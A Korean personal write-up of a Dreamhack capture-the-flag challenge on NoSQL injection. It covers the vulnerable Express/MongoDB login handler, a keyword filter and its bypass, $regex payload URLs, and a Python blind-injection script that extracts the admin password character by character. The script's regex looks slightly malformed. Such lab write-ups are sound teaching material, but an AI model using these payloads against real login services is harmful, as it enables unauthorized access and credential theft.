← 전체 Write-Up

Web / Dreamhack

NoSQL Injection

Dreamhack 문제의 풀이와 실습 과정을 원문 그대로 담은 개인 기록입니다.

읽기 안내

Dreamhack의 개인 문제 풀이 기록입니다. 원문에 남아 있는 실습 주소·플래그와 실패·미완료 결과를 그대로 보존했습니다.

웹 서비스 분석

엔드포인트: /login

/login

app.get('/login', function(req, res) {
		if(filter(req.query)){ // filter 함수 실행
				res.send('filter');
				return;
		}
		const {uid, upw} = req.query;
		db.collection('user').findOne({ //db에서 uid, upw로 검색
				'uid': uid,
				'upw': upw,
		}, function(err, result){
				if (err){
						res.send('err');
				}else if(result){
						res.send(result['uid']);
				}else{
						res.send('undefined');
				}
		})
});

위 코드는 /login 페이지 요청 시 실행되는 코드다. 이용자가 쿼리로 전달한 uid와 upw 로 데이터베이스를 검색하고, 찾아낸 이용자의 정보를 반환한다.

filter 함수

// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];
filter = function(data){
		const dump = JSON.stringify(data).toLowerCase();
		var flag = false;
		BAN.forEach(function(word){
				if(dump.indexOf(word)!=-1) flag = true;
		});
		return flag;
}

위 코드는 일부 문자열을 필터링하는 함수다. /login의 GET 핸들러를 살펴보면, 이용자의 요청에 포함된 쿼리를 filter함수로 필터링 한다. 해당 함수는 admin, dh, admi 라는 문자열이 있을 때 true를 반환한다.

이 문제에서는 ‘admin’, ‘dh’, ‘admi’가 포함된 이용자의 요청을 필터링한다. 이러한 문자열 필터링은 보안상, 안전한 코딩 방식이 아니다. 인젝션이 발생할 수 있는 근본적인 문제점을 해결해야한다.

취약점 분석

취약점 분석


Query & type

const express = require('express');
const app = express();
app.get('/', function(req,res) {
		console.log('data:', req.query.data);
		console.log('type:', typeof req.query.data);
		res.send('hello world');
});
const server = app.listen(3000, function() {
		console.log('app.listen');
});

위 코드는 이용자가 전달한 쿼리의 값과 타입을 반환하는 코드다. 다음 요청 결과를 보면, string외에 다양한 형태의 object도 쿼리로 전달될 수 있음을 알 수 있다.

http://localhost:3000/?data=1234
data: 1234
type: string

http://localhost:3000/?data[]=1234&data[]=5678
data: [ '1234', '5678' ] 
type: object

http://localhost:3000/?data[5678]=1234
data: { '5678': '1234' } 
type: object
const {uid, upw} = req.query; // 이용자가 전송한 uid, upw 입력값을 가져옴
db.collection('user').findOne({ // db에서 uid, upw로 검색
    'uid': uid,
    'upw': upw,
}

위 코드는 로그인 페이지를 구성하는 코드다. 코드에서 MongoDB에 쿼리를 전달하는 부분을 살펴보면, 쿼리 변수의 타입을 검사하지 않는다. 이로 인해 NoSQL Injection 공격일 발생할 수 있다.

익스플로잇


익스플로잇

/login에서는 로그인에 성공했을 때 이용자의 uid만 출력한다. 따라서 Blind NoSQL Injection을 통해 admin의 upw를 획득해야 한다.

1. Blind NoSQL Injection Payload 생성

MongoDB의 $regex 연산을 사용하면 정규표현식을 이용해 데이터를 검색할 수 있다. upw가 일치하는 경우 uid, 아닌 경우 undefined 문자열이 출력되는 것을 통해 쿼리의 참과 거짓을 확인할 수 있다.

http://host1.dreamhack.games:13698/login?uid=guest&upw[$regex]=.*

2. filter 우회

filter 함수가 특정 문자열을 필터링하고 있지만, 정규표현식에서 임의 문자를 의미하는 .을 이용하여 쉽게 우회할 수 있습니다.

http://host1.dreamhack.games:13698/login?uid[$regex]=ad.in&upw[$regex]=D.{*

3. Exploit Code 작성

정규표현식을 통해 한 글자씩 알아내야 하므로, 여러 번 쿼리를 전달해야한다. 직접 손으로 하기보다는 익스플로잇 스크립트를 작성하는 것이 좋다.

Exploit Code

import requests, string

HOST= 'URL 주소'
ALPHANUMERIC = string.digits + string.ascii_letters
SUCCESS = 'admin'

flag = ''

for i in range(32):
		for ch in ALPHANUMERIC:
				response = requests.get(f'{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}}}')
				if response.text == SUCCESS:
						flag += ch
						break
		print(f'FLAG: DH{{{flag}}}')

작성 기록과 문제 출처

원문과 출처

풀이와 설명: MadEyE / 이선용의 개인 Notion 기록.
문제에서 제공한 코드·서비스 화면과 외부 참고자료의 권리는 해당 작성자와 플랫폼에 있습니다.

원문 본문·코드·실습 증적을 보존했으며, 원문에 포함된 외부 글은 참고 링크로 안내합니다.